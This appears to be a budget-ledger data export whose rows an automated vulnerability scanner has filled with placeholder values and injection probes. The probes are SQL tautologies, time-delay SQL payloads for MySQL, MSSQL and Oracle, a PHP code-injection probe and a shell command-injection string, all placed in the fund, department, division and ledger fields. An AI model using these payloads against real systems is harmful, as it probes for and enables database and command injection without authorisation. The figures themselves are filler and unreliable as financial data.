<row _id="1"><ledger_type>'"</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1OhJvv2jo</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1" OR 5*5=26 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1" OR 5*5=26 or "u8DrBVCf"="</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1*if(now()=sysdate(),sleep(15),0)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1); waitfor delay '0:0:15' -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU'"</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1" OR 5*5=25 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>'.print(md5(31337)).'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU'"</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU����%2527%2522\'\"</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>(select 198766*667891 from DUAL)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1eRiaBQNt</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1 OR 5*5=25 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1 OR 5*5=26 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1 OR 5*5=25</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1 OR 5*5=26</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1' OR 5*5=25 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1' OR 5*5=26 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1" OR 5*5=25 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1" OR 5*5=26 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1' OR 5*5=25 or 'KS96fO6l'='</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>|echo ugohmp$()\ drsdim\nz^xyu||a #' |echo ugohmp$()\ drsdim\nz^xyu||a #|" |echo ugohmp$()\ drsdim\nz^xyu||a #</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1' OR 5*5=26 or 'KS96fO6l'='</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1" OR 5*5=25 or "6U8SsUUE"="</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1" OR 5*5=26 or "6U8SsUUE"="</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1*if(now()=sysdate(),sleep(15),0)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1-1; waitfor delay '0:0:15' -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1-1); waitfor delay '0:0:15' -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1-1 waitfor delay '0:0:15' -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
